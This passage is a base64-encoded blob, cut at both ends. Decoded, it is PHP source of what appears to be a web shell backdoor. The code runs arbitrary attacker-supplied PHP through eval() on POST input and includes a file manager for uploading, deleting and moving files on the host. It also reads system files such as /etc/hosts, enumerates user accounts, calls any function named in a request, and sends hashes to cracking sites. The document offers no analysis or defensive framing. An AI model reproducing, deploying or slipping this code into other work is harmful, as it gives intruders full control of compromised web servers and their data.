2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQlzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsKCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwoJCX0KCX0gZWxzZSB7CgkJc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAKCQlzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLGV4KCduZXQgYWNjb3VudHMnKSk7IAoJCXNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsZXgoJ25ldCB1c2VyJykpOwoJfQoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKCWlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7CgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsgCgl9CglwcmludEhlYWRlcigpOwoJaWYoIGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpICkgewoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CgkJb2Jfc3RhcnQoKTsKCQlwaHBpbmZvKCk7CgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5IHsuKn0hbXNpVScsJycsJHRtcCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWE6XHcrIHsuKn0hbXNpVScsJycsJHRtcCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWgxIW1zaVUnLCdoMicsJHRtcCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5LCB0ZCwgdGgsIGgyLCBoMiB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCWVjaG8gJHRtcDsKCQllY2hvICc8L2Rpdj48YnI+JzsKCX0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKCQllY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsKCWVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlvYl9zdGFydCgpOwoJCWV2YWwoJF9QT1NUWydwMSddKTsKCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOwoJfQoJZWNobyAnPC9wcmU+PC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgewoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgewoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CgkJCQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOwoJCQkJYnJlYWs7CgkJCQlicmVhazsKCQkJY2FzZSAnbWtkaXInOgoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQoJCQkJCWVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKCQkJCWJyZWFrOwoJCQljYXNlICdkZWxldGUnOgoJCQkJZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CgkJCQkJJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7CgkJCQkJd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKCQkJCQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsKCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApCgkJCQkJCQljb250aW51ZTsKCQkJCQkJJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikKCQkJCQkJCWRlbGV0ZURpcigkaXRlbSk7CgkJCQkJCWVsc2UKCQkJCQkJCUB1bmxpbmsoJGl0ZW0pOwoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJtZGlyKCRwYXRoKTsKCQkJCX0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCgkJCQkJZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7CgkJCQkJCWlmKGlzX2RpcigkZikpCgkJCQkJCQlkZWxldGVEaXIoJGYpOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRmKTsKCQkJCQl9CgkJCQlicmVhazsKCQkJY2FzZSAncGFzdGUnOgoJCQkJaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IG9wZW5kaXIoJGMuJHMpOwoJCQkJCQkJd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCQkJfQoJCQkJCQl9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQkJfQoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bhc3RlKCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CQkJCQkKCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQkJCX0KCQkJCQkJfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7CgkJCQkJCX0KCQkJCQl9CgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKCQkJCQkJQHJlbmFtZSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwoJCQkJfQoJCQkJdW5zZXQoJF9TRVNTSU9OWydmJ10pOwoJCQkJYnJlYWs7CgkJCWRlZmF1bHQ6CgkJCQlpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJykpICkgewoJCQkJCSRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOwoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOwoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpCgkJCQkJCSRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CgkJCQkJJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsKCQkJCX0KCQkJCWJyZWFrOwoJCX0KCQllY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7Cgl9CgkkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsJfQoJZ2xvYmFsICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKCX0KPz4KPHNjcmlwdD4KCWZ1bmN0aW9uIHNhKCkgewoJCWZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlpZihkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpCgkJCQlkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKCX0KPC9zY3JpcHQ+Cjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+Cjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+Cjw/cGhwCgllY2hvICI8dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKCSRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsKCSRuID0gY291bnQoJGRpckNvbnRlbnQpOwoJZm9yKCRpPTA7JGk8JG47JGkrKykgewoJCSRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAoJCQkJCSAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLAoJCQkJCSAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKCQkJCQkpOwoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCgkJCSRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOwoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7Cgl9CgkkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CglmdW5jdGlvbiBjbXAoJGEsICRiKSB7CgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCgkJCXJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKCQllbHNlCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7Cgl9Cgl1c29ydCgkZmlsZXMsICJjbXAiKTsKCXVzb3J0KCRkaXJzLCAiY21wIik7Cgl1c29ydCgkbGlua3MsICJjbXAiKTsKCSRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkbGlua3MsICRmaWxlcyk7CgkkbCA9IDA7Cglmb3JlYWNoKCRmaWxlcyBhcyAkZikgewoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKS4nIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKCQkkbCA9ICRsPzA6MTsKCX0KCT8+Cgk8dHI+PHRkIGNvbHNwYW49Nz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9Jzw/PWh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKT8+Jz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJz8+Jz4KCTxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj48P3BocCBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkmJkBjb3VudCgkX1NFU1NJT05bJ2YnXSkpez8+PG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlPC9vcHRpb24+PD9waHAgfT8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+Cgk8L2Zvcm0+PC90YWJsZT48L2Rpdj4KCTw/cGhwCglwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IGRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CgkJb2Jfc3RhcnQoKTsKCQlpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkKCQkJZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsKCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CglwcmludEhlYWRlcigpOwoJZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7Cgkkc3RyaW5nVG9vbHMgPSBhcnJheSgKCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCgkJJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLAoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCgkJJ21kNSBoYXNoJyA9PiAnbWQ1JywKCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLAoJCSdDUkMzMicgPT4gJ2NyYzMyJywKCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCgkJJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywKCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCgkJJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLAoJCSdCSU4gdG8gSEVYJyA9PiAnYmluMmhleCcsCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAkJCgkJJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKCQknU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsCgkpOwoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7Cglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsKCX0KCWVjaG8iPC9wcmU+PC9kaXY+IjsKCT8+Cgk8YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSJoZiI+CgkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJoYXNoIiBzdHlsZT0id2lkdGg6MjAwcHg7Ij48YnI+CgkJCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJoYXNoY3JhY2suY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuaGFzaGNyYWNrLmNvbS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+CgkJCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJmYWtlbmFtZWdlbmVyYXRvci5jb20iIG9uY2xpY2s9ImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5mYWtlbmFtZW